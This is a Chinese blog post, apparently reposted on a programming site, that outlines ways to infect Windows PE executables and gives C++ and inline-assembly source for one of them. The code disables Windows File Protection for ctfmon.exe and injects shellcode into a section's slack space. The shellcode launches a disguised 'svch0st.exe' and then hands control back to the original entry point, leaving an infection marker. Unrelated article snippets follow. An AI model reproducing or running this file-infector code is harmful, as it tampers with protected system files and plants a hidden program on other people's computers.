PE文件的感染C++源代码

PE文件的感染C++源代码

PE文件规定了可执行文件的格式,凡是符合此格式的文件都能在windows系统上运行。PE文件的格式暂且不谈,说一些感染PE文件的几种途径。


导入表感染。这个涉及比较复杂的操作,首先,要自行写一个dll文件,提供程序中对原dll引用的所有函数,然后增加一个节区,修改ImportAddress中的地址,使其指向新增加的节,这样,程序加载后,只要调用相关函数,就会先执行自己写的dll,执行完后,再跳转到原代码人口处执行。


导入地址感染。这个相对简单些,在PE文件头部分,IMAGE_OPTION_HEADER中有个ImportAddress目录,这个目录中只是一些jmp指令,我们可以修改jmp指令跳转的地址,使其指向在PE文件中我们新增加的代码。这需要在原PE文件中增加代码,PE文件在硬盘上默认200H字节对齐,一般存有空隙,如果代码量小,不用增加新节就可以插入代码。


修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。


修改快捷方式文件。如果PE文件存在快捷方式,可以先行感染快捷方式,使快捷方式指向自己写的程序,自写程序启动后,再执行真正的PE文件。这种做法比较猥琐,而且不可靠。

 

 

#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>


typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
    WCHAR drvpath[MAX_PATH]={0};
   
    GetSystemDirectoryW(drvpath,sizeof(drvpath));
    wcscat(drvpath,L"\\ctfmon.exe");
    HMODULE hModule = LoadLibraryA("SFC.DLL");
    SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
    SfcFileExc(0,drvpath,-1);
  FreeLibrary(hModule);
    return;
}

 

int InjectPE()
{
  IMAGE_NT_HEADERS ntHeader;
  IMAGE_SECTION_HEADER SecInject;
  FILE* pFile;
  char systemPath[MAX_PATH];
  GetSystemDirectoryA(systemPath,sizeof(systemPath));
  char szFileName[MAX_PATH] = "\\ctfmon.exe";
  strcat(systemPath,szFileName);
  strcpy(szFileName,systemPath);
 
  KillSFC();
 

  if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
  {
    printf("打开文件失败\n");
    return 0;
  }
 
  fseek(pFile,0x3c,0);
  DWORD pNT;
  fread(&pNT,sizeof(DWORD),1,pFile);
  fseek(pFile,pNT,SEEK_SET);
  fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
 
 
  //保存旧入口地址
  int sectionNum = ntHeader.FileHeader.NumberOfSections;
  int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
 
  goto shellend;
__asm
{
    shell:  PUSHAD
    MOV  EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB
    MOV  EAX,DWORD PTR [EAX+0CH]  ;获取PEB_LDR_DATA结构的指针
    MOV  EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
    MOV  EAX,DWORD PTR [EAX]  ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
    MOV  EAX,DWORD PTR [EAX+08H]  ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
    MOV  EBP,EAX    ;  将Kernel32.dll模块基址地址放至kernel中
    MOV  EAX,DWORD PTR [EAX+3CH]  ;指向IMAGE_NT_HEADERS
    MOV  EAX,DWORD PTR [EBP+EAX+120]  ;指向导出表
    MOV  ECX,[EBP+EAX+24]  ;取导出表中导出函数名字的数目
    MOV  EBX,[EBP+EAX+32]    ;取导出表中名字表的地址
    ADD  EBX,EBP
    PUSH WORD  PTR 0X00      ;构造GetProcAddress字符串
    PUSH DWORD PTR 0X73736572
    PUSH DWORD PTR 0X64644163
    PUSH DWORD PTR 0X6F725074
    PUSH WORD PTR 0X6547
    MOV  EDX,ESP
    PUSH ECX

   
F1: 
    MOV  EDI,EDX
    POP  ECX
    DEC  ECX
    TEST  ECX,ECX
    JZ  EXIT
    MOV  ESI,[EBX+ECX*4]   
    ADD  ESI,EBP
    PUSH  ECX
    MOV  ECX,15
    REPZ  CMPSB
    TEST  ECX,ECX
    JNZ  F1
 
    POP  ECX
    MOV  ESI,[EBP+EAX+36]  ;取得导出表中序号表的地址
    ADD  ESI,EBP
    MOVZX  ESI,WORD PTR[ESI+ECX*2]    ;取得进入函数地址表的序号
    MOV  EDI,[EBP+EAX+28]  ;取得函数地址表的地址
    ADD  EDI,EBP
    MOV  EDI,[EDI+ESI*4]    ;取得GetProcAddress函数的地址
    ADD  EDI,EBP     
    PUSH WORD PTR 0X00             
    PUSH DWORD PTR 0X636578  ;构造WinExec字符串
    PUSH DWORD PTR 0X456E6957
    PUSH ESP
    PUSH  EBP      ;
    CALL  EDI      ;调用GetProcAddress取得WinExec函数的地址
   
   
    XOR     EBX,EBX
    PUSH    EBX
    PUSH  WORD PTR 0X00    ;构造svch0st.exe符串.
    PUSH  DWORD PTR 0X455845 
    PUSH    DWORD PTR 0X2E545330
    PUSH  DWORD PTR 0X48435653
    PUSH  ESP
    CALL  EAX
EXIT:  ADD ESP,40      ;平衡堆栈
    POPAD
}
  shellend:
    char *pShell;
    int nShellLen;
   
__asm
{
    LEA EAX,shell
    MOV pShell,EAX;
    LEA EBX,shellend
    SUB EBX,EAX
    MOV nShellLen,EBX
}
 
int i;

 

for(i=0;i<sectionNum;i++)
  {
   fseek(pFile,pNT+248+i*40,SEEK_SET);  //定位到节表开始处
   fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
   DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5;
   WORD Sign;
   fseek(pFile,pInfect,SEEK_SET);
   fread(&Sign,sizeof(WORD),1,pFile);
   if(Sign == 0x1122)  //已经感染过,结束程序.
   {
     //MessageBoxA(NULL,"已感染过","msg",MB_OK);
     return 0;
   }
   if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
    break;
  }
 
if(i>=sectionNum)
{
  printf("找不到适合插入的节");
  return 0;
}
  DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;  
  DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
  /*修改入口点地址并写回NT HEADER中*/
  ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA; 
  fseek(pFile,pNT,SEEK_SET);
  fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);

  SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
  SecInject.Misc.VirtualSize += nShellLen;
  fseek(pFile,pNT+248+i*40,SEEK_SET);  //文件指针移动到SecInject的首址
  fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中

  /*写入SHELLCODE*/
  fseek(pFile,lpCodeOffs,SEEK_SET);  //定位到添加代码的文件偏移
  for(i=0;i<nShellLen;i++)
  fputc(pShell[i],pFile);
  //SHELLCODE之后是跳转到原OEP的指令
     
  BYTE jmp = 0xE9;
  OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
  fwrite(&jmp, sizeof(jmp), 1, pFile);
  fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
  WORD InfectSign=0x1122; // 感染标志
  fwrite(&InfectSign,sizeof(WORD),1,pFile);
  fclose(pFile);
  //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
  return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/388536.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c语言实验四报告,湖北理工学院14本科C语言实验报告实验四数组

湖北理工学院14本科C语言实验报告实验四 数组.doc实验四 数 组实验课程名C语言程序设计专业班级 14电气工程2班 学号 201440210237 姓名 熊帆 实验时间 5.12-5.26 实验地点 K4-208 指导教师 祁文青 一、实验目的和要求1. 掌握一维数组和二维数组的定义、赋值和输入输出的方法&a…

c语言宏定义

一. #define是C语言中提供的宏定义命令&#xff0c;其主要目的是为程序员在编程时提供一定的方便&#xff0c;并能在一定程度上提高程序的运行效率&#xff0c;但学生在学习时往往不能理解该命令的本质&#xff0c;总是在此处产生一些困惑&#xff0c;在编程时误用该命令&#…

rabbitmq channel参数详解【转】

1、Channel 1.1 channel.exchangeDeclare()&#xff1a; type&#xff1a;有direct、fanout、topic三种durable&#xff1a;true、false true&#xff1a;服务器重启会保留下来Exchange。警告&#xff1a;仅设置此选项&#xff0c;不代表消息持久化。即不保证重启后消息还在。原…

感染EXE文件代码(C++)

C代码#include <windows.h> #include <winnt.h> #include <stdio.h> #include <assert.h> #define DEBUG 1 #define EXTRA_CODE_LENGTH 18 #define SECTION_SIZE 0x1000 #define SECTION_NAME ".eViLhsU" #define F…

nlp gpt论文_GPT-3:NLP镇的最新动态

nlp gpt论文什么是GPT-3&#xff1f; (What is GPT-3?) The launch of Open AI’s 3rd generation of the pre-trained language model, GPT-3 (Generative Pre-training Transformer) has got the data science fraternity buzzing with excitement!Open AI的第三代预训练语言…

真实不装| 阿里巴巴新人上路指北

新手上路&#xff0c;总想听听前辈们分享他们走过的路。橙子选取了阿里巴巴合伙人逍遥子&#xff08;阿里巴巴集团CEO&#xff09; 、Eric&#xff08;蚂蚁金服董事长兼CEO&#xff09;、Judy&#xff08;阿里巴巴集团CPO&#xff09;的几段分享&#xff0c;他们是如何看待职场…

小程序学习总结

上个周末抽空了解了一下小程序,现在将所学所感记录以便日后翻看;需要指出的是我就粗略过了下小程序的api了解了下小程序的开发流程以及工具的使用,然后写了一个小程序的demo;在我看来,如果有前端基础学习小程序无异于锦上添花了,而我这个三年的码农虽也写过不少前端代码但离专业…

tomcat java环境配置

jsp 环境变量配置 一、配置JDK 首先&#xff0c;从Sun网站上下载jdk。 双击jdk-1_5_0_04-windows-i586-p.exe开始安装&#xff0c;默认安装到C:/Program Files/Java/jdk1.5.0_04&#xff0c;你也可以更改路径&#xff0c;但要记住最后选择的路径&#xff0c;设置环境变量的时候…

uber 数据可视化_使用R探索您在Uber上的活动:如何分析和可视化您的个人数据历史记录

uber 数据可视化Perhaps, dear reader, you are too young to remember that before, the only way to request a particular transport service such as a taxi was to raise a hand to make a signal to an available driver, who upon seeing you would stop if he was not …

java B2B2C springmvc mybatis电子商城系统(四)Ribbon

2019独角兽企业重金招聘Python工程师标准>>> 一&#xff1a;Ribbon是什么&#xff1f; Ribbon是Netflix发布的开源项目&#xff0c;主要功能是提供客户端的软件负载均衡算法&#xff0c;将Netflix的中间层服务连接在一起。Ribbon客户端组件提供一系列完善的配置项如…

c语言函数的形参有几个,C中子函数最多有几个形参

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼C89 31个&#xff0c;C99 127个。ANSI C892.2.4.1 Translation limitsThe implementation shall be able to translate and execute at least one program that contains at least one instance of every one of the following lim…

Linux上Libevent的安装

1、下载wget -O libevent-2.0.21-stable.tar.gz https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz2、解压 tar zxvf libevent-2.0.21-stable.tar.gz3、配置安装路径 cd libevent-2.0.21-stable ./configure -prefix/usr4、编译并安装 make make …

Win7安装oracle 10 g

开始-运行-输入hdwwiz-回车 ——选则手动 ——网络适配器——左边选Microsoft&#xff0c;右边找到Microsoft Loopback Adapter ——完成 打开 控制面板\网络和 Internet\网络和共享中心 会发现多了一个本地连接 点详细信息 发现是Microsoft Loopback Adapter的。…

基于plotly数据可视化_[Plotly + Datashader]可视化大型地理空间数据集

基于plotly数据可视化简介(我们将创建的内容)&#xff1a; (Introduction (what we’ll create):) Unlike the previous tutorials in this map-based visualization series, we will be dealing with a very large dataset in this tutorial (about 2GB of lat, lon coordinat…

Centos用户和用户组管理

inux系统是一个多用户多任务的分时操作系统&#xff0c;任何一个要使用系统资源的用户&#xff0c;都必须首先向系统管理员申请一个账号&#xff0c;然后以这个账号的身份进入系统。1、添加新的用户账号使用useradd命令&#xff0c;其语法如下&#xff1a;useradd 选项 用户名-…

吹气球问题的C语言编程,C语言怎样给一个数组中的数从大到小排序

满意答案#include "stdio.h"int main(){int i,j;int a[12];for(i1; i<10; i)scanf("%d",&a[i]);for(i1; i<10; i)for(ji; j<10; j)if(a[i]{int ta[i];a[i]a[j];a[j]t;}//前十个数的排序for(i1; i<10; i)printf("%d ",a[i]);prin…

裴波那契数列

斐波那契数列&#xff1a;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ... 求斐波那契数列第 n 项的值&#xff1a; 方法一&#xff1a;递归 function fibonacci(n) {if (!Number.isSafeInteger(n) || n < 0) {return;}if (n 0 || n 1) {return n;} else {return fibo…

划痕实验 迁移面积自动统计_从Jupyter迁移到合作实验室

划痕实验 迁移面积自动统计If you want to use Google Colaboratory to perform your data analysis, for building data pipelines and data visualizations, here is the beginners’ guide to migrate from one tool to the other.如果您想使用Google Colaboratory进行数据分…

英法德三门语言同时达到c1,【分享】插翅而飞的孩子(转载)

微信转来的&#xff0c;觉得发人深思&#xff0c;转来这里插翅而飞的孩子(一)开篇一&#xff1a;让孩子拥有一双丰满的翅膀。作者简介&#xff1a;英华兰的Dr.Bing,德国儿童教育学博士&#xff0c;数字媒体硕士和计算机软件工程本科。精通英法德三门语言&#xff0c;从事儿童语…

数据库建表赋予权限语句

sqlplus /nologconn / as sysdba//创建临时表空间create temporary tablespace zfmi_temptempfile D:\oracle\oradata\zfmi\zfmi_temp.dbf size 32m autoextend on next 32m maxsize 2048mextent management local;//tempfile参数必须有//创建数据表空间create tablespace zfmi…